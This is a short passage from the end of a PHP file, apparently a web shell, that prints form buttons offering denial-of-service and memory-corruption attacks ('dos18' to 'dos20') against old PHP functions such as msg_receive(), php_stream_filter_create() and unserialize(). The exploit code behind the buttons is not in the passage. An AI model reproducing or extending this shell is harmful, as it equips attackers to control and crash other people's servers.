7125echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'Memory Allocation BoF in [ msg_receive() ] function (PHP <4.4.5,5.2.1)').$fe);
7126
7127echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'Off By One in [ php_stream_filter_create() ] function (PHP 5<5.2.1)').$fe);
7128
7129echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'Reference Counter Overflow in [ unserialize() ] function (PHP <4.4.4)').$fe);
7130
7131echo $te."</td></tr></div></table>";
7132
7133?>